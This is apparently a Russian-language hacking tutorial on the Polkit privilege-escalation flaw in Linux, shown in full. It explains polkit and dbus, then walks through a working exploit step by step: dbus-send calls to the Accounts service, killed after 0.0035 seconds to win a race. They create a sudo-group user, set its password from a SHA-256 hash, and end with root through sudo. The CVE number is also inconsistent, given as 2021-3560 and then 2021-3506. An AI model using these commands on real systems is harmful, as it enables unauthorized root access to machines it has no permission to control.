Здравствуйте, дорогие друзья. Сегодня поговорим про повышение привилегий в Linux, на примере уязвимости Polkit (CVE 2021-3560).
Введение
Согласно Red Hat, «Polkit означает PolicyKit, который представляет собой структуру, предоставляющую API авторизации, используемый привилегированными программами». Pkexec — это инструмент в PolicyKit или polkit, который позволяет пользователю запускать команду от имени другого пользователя. Эта уязвимость позволяет polkit обходить проверки учетных данных для запросов D-Bus, повышая привилегии запрашивающей стороны до пользователя root. Ее обнаружил Кевин Бэкхаус, и его можно прочитать здесь: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
Содержание
· Polkit, pkexec и dbus
· Предыстория CVE 2021-3506
· Эксплуатация CVE 2021-3506
· Заключение
polkit, pkexec и dbus
Polkit и pkexec: PolicyKit также известен как polkit в системах Linux. Это API авторизации, используемый программами для повышения своих разрешений до уровня пользователя с повышенными правами и запуска процессов от имени пользователя с повышенными правами (обычно root). Если пользователь не указан, он пытается выполнить эту команду от имени пользователя root. Sudo делает то же самое, позволяя пользователю запускать команды от имени пользователя root, однако с помощью pkexec администраторы могут точно контролировать выполнение определенных программ, определяя для них политики. Sudo не имеет ограничений, и пользователь может запускать любую команду от имени пользователя с повышенными правами, если он знает пароль. Pkexec также требует некоторых усилий при настройке, но варианты Debian, включая популярную Ubuntu, поставляются с предустановленными polkit и pkexec. Эти правила авторизации для сторонних пакетов определены в файлах JavaScript *.rules, хранящихся в каталоге /usr/share/polkit-1/rules.d/.
А правила авторизации для локальной настройки хранятся в /etc/polkit-1/
Здесь вы увидите файлы *.conf. Файлы conf и pkla существовали до *.rules и существуют по соображениям обратной совместимости.
dbus: dbus - это система сообщений, позволяющая приложениям взаимодействовать друг с другом (известная как IPC или межпроцессное взаимодействие). Она была разработана в рамках проекта freedesktop.org. Базовая команда dbus для вывода списка системных служб выглядит следующим образом:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
В этой демонстрации мы будем использовать dbus для запуска pkexec из командной строки. Подробнее о dbus можно прочитать здесь: https://www.freedesktop.org/wiki/Software/dbus/
Предыстория CVE 2021-3506
Polkit — это фоновый процесс, который позволяет авторизоваться, но имеет графическое приглашение, с которым пользователи Ubuntu должны быть знакомы. Это выглядит так:
Однако polkit выполняется и в текстовом режиме при использовании сеанса текстового режима, например, при использовании ssh.
ssh pentest@192.168.1.141
pkexec sh
Как видите, pkexec теперь выполнен в CLI.
Теперь вернемся к dbus. Это агент IPC, который может помочь нам отправлять команды или сообщения другим процессам и взаимодействовать с ними. Для выполнения операций в dbus настроены различные служебные файлы, которые ссылаются на абсолютные пути к исполняемым файлам или демонам, которые должны быть запущены. Для системных процессов dbus хранит служебные файлы в /usr/share/dbus-1/system-services. Здесь вы можете увидеть содержимое hostname. service, который выполняет операции по изменению имени хоста в Ubuntu и Accounts. service, который запускает демон учетных записей для выполнения опций добавления/изменения пользователей.
Таким образом, dbus можно использовать для выполнения команды и запроса на нее авторизации polkit. Каждый интерфейс и метод имеет свой собственный файл конфигурации XML, который показывает, какие параметры dbus отправляет ему во время выполнения. Мы не будем сейчас вдаваться в подробности.
Кевин Бэкхаус опубликовал эту статью: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about , в которой он обнаружил уязвимость в polkit, которая может быть вызвана запуском команды dbus-send, но ее уничтожением, пока polkit все еще выполняет ее и выполнение не завершено. В этой демонстрации мы будем создавать нового пользователя в системе без пароля root. Для этого мы сначала запустим текстовый сеанс, используя ssh, а затем команду dbus-send: https://dbus.freedesktop.org/doc/dbus-send.1.html
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
--system: отправляет сообщение на системную шину
--dest: имя соединения (интерфейса), которое получает сообщение
--type: вызов метода означает системную функцию с передаваемыми аргументами
--print-reply: печатает вывод в удобочитаемом формате.
/org/freedesktop/Accounts: это функция, которая будет использоваться.
org.freedesktop.Accounts.CreateUser: метод, который будет использоваться. Здесь используется метод создания пользователя, который по сути создает нового пользователя с именем, указанным в строке 1. Строка 2 — это имя («зажигать пользователя»), которое будет видно в системе. int32 — это целочисленный аргумент, который принимает метод и который определяет тип учетной записи, закодированный как целое число.
Но это не удастся, поскольку для создания нового пользователя нам потребуется аутентификация.
Эксплуатация CVE 2021-3506
Чтобы эксплойт сработал, нам нужно уничтожить команду во время ее выполнения. Для этого нам нужно проверить время выполнения этой команды.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
Как видите, выполнение этой команды у меня занимает 0,008 секунды. Итак, мне нужно убить свою полезную нагрузку за 0,008 секунды, чтобы она заработала.
Кевин упоминает, что пользователь может быстро нажать CTRL+C, и это должно сработать, но лучше предоставить простой встроенный скрипт bash, который завершит процесс за 0,0035 секунды. Обратите внимание, что мы пробовали много раз, и время, необходимое для запуска, каждый раз было разным. Итак, Вам тоже нужно будет поэкспериментировать с ним и посмотреть, какое время Вам подходит и позволит ли эксплойту работать правильно. Здесь:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
Мы запускали одну и ту же команду примерно 5-7 раз, прежде чем был создан наш пользователь Ignite! Более того, ignite является членом группы sudo!
Как это сработало? Dbusприсваивает уникальный идентификатор любому соединению. Polkitпроверяет этот уникальный идентификатор и обеспечивает авторизацию. Допустим, UID равен 1,87. Поскольку соединение между ними разрывается, polkitраспознает UID как 0 и рассматривает запрос, исходящий от корня. Следовательно, вот как работает эксплойт.
Мы можем проверить /etc/passwd на его достоверность. Кроме того, как Вы можете видеть, здесь uid равен 1001.
tail -n 3 /etc/passwd
Далее нам нужно указать пароль с помощью dbus, чтобы мы могли использовать этого вновь созданного пользователя. Нам нужно сгенерировать хешированный пароль, поскольку dbus-send принимает хешированный пароль в качестве входных данных.
openssl passwd -5 ignite@123
Это создаст хеш в формате SHA-256. Мы также можем использовать любое другое шифрование в соответствии с конфигурацией системы.
Теперь нам нужно передать этот хэш в функцию User.SetPassword, используя dbus в качестве строкового параметра. Полезная нагрузка выглядит так:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!
Здесь использовался User.SetPassword. Передаются два параметра. Первая строка — это хешированные учетные данные, а вторая строка: «BestHackingTutorials» — подсказка к паролю. Это тоже можно изменить.
Нам нужно отправить эту команду 6-7 раз, чтобы она заработала. Теперь мы можем войти в систему этого пользователя.
su ignite
password: ignite@123
whoami
id
Вы можете повысить свои привилегии с помощью sudo bash, поскольку пользователь ignite является членом группы sudo.
Заключение
Polkit - это предустановленный пакет в дистрибутивах Linux. Любая система, использующая polkit версии <0.119, уязвима для повышения привилегий с помощью этого метода. Он имеет высокий рейтинг воздействия, и его эксплуатация довольно проста, поскольку не требуется никаких знаний в области разработки эксплойтов. Надеюсь, Вам понравилась статья. Спасибо за прочтение.